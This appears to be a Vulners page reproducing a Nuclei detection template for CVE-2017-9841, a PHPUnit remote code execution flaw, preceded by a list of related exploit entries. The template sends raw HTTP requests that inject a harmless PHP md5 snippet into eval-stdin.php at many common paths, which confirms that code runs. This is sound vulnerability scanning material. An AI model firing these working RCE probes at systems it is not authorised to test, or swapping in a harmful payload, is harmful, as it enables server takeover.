| Reporter | Title | Published | Views | Family All 86 |
|---|---|---|---|---|
| PHP Unit 4.8.28 - Remote Code Execution (Unauthenticated) Exploit | 2 Feb 202200:00 | – | zdt | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 30 Aug 202512:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 11 Jun 202605:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 13 Mar 202307:42 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 11 Jun 202605:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 20 Mar 202207:01 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 1 Mar 202614:44 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit |
id: CVE-2017-9841
info:
name: PHPUnit - Remote Code Execution
author: Random_Robbie,pikpikcu
severity: critical
description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
impact: |
Remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
remediation: |
Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
reference:
- https://github.com/cyberharsh/Php-unit-CVE-2017-9841
- https://github.com/RandomRobbieBF/phpunit-brute
- https://thephp.cc/articles/phpunit-a-security-risk
- https://twitter.com/sec715/status/1411517028012158976
- https://nvd.nist.gov/vuln/detail/CVE-2017-9841
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-9841
cwe-id: CWE-94
epss-score: 0.9421
epss-percentile: 0.99926
cpe: cpe:2.3:a:phpunit_project:phpunit:*:*:*:*:*:*:*:*
metadata:
max-request: 6
vendor: phpunit_project
product: phpunit
tags: cve2017,cve,php,phpunit,rce,kev,phpunit_project,vkev,vuln
variables:
string: "CVE-2017-9841"
http:
- raw:
- |
GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(string)}}'
- type: status
status:
- 200
# digest: 4b0a00483046022100c8755593953015e66de66b733766b38a20960e2094c5e1a24f7af00a8bdb5753022100db222a2624d5258ae457fb53af0a45986e59d11bf381dd848a8b90ba766d05c0:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation